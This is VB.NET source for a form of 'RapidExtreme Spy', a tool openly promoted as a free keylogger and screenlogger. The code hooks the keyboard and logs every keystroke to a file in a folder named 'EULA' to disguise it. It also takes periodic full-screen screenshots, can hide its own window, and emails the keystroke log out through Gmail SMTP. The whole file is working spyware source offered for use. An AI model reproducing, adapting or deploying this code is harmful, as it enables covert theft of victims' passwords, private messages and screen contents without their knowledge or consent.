RapidEx Spy - Source code - Form1

RapidExtreme Spy - Open Source Keylogger and Screenlogger. Free and easy to use.
http://rapidexspy.blogspot.com


Option Strict On
Imports System.Net.Mail
Imports System.Drawing.Imaging
Imports System.Runtime.InteropServices
Public Class Form1
    Dim WithEvents K As New Keyboard
    Dim Append As String
    Dim key As String
    Private Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DiposeHook()
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        TextBox1.Text = "RapidExtreme Spy-" & Now & vbNewLine
        K.CreateHook()
        If (Not System.IO.Directory.Exists("C:\EULA\")) Then
            System.IO.Directory.CreateDirectory("C:\EULA\")
        End If
    End Sub

    Private Sub K_Down(ByVal Key As String) Handles K.Down
        Append &= Key
        TextBox1.Text &= Key

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Me.Hide()

    End Sub

    Private Sub timerSave_Tick() Handles timerSave.Tick
        My.Computer.FileSystem.WriteAllText("C:\EULA\EULA.txt", TextBox1.Text, True)
        TextBox1.Clear()

    End Sub


    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim bounds As Rectangle
        Dim screenshot As System.Drawing.Bitmap
        Dim graph As Graphics
        Dim RandomFileName As String = IO.Path.GetFileNameWithoutExtension(IO.Path.GetRandomFileName)
        bounds = Screen.PrimaryScreen.Bounds
        screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
        graph = Graphics.FromImage(screenshot)
        graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
        PictureBox1.Image = screenshot
        Me.PictureBox1.Image.Save("C:\EULA\" & RandomFileName & ".jpg", Imaging.ImageFormat.Jpeg)

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Timer2.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        timerSave.Stop()
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient("smtp.gmail.com")
        mail.From = New MailAddress(TextBox2.Text)
        mail.[To].Add(TextBox2.Text)
        mail.Subject = "RapidExtreme Spy"

        Dim attachment As System.Net.Mail.Attachment
        attachment = New System.Net.Mail.Attachment("C:\EULA\EULA.txt")
        mail.Attachments.Add(attachment)

        SmtpServer.Port = 587
        SmtpServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SmtpServer.EnableSsl = True

        SmtpServer.Send(mail)
        MessageBox.Show("File Sent. Check your inbox!")
    End Sub


    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        Timer2.Stop()
    End Sub
End Class



http://rapidexspy.blogspot.com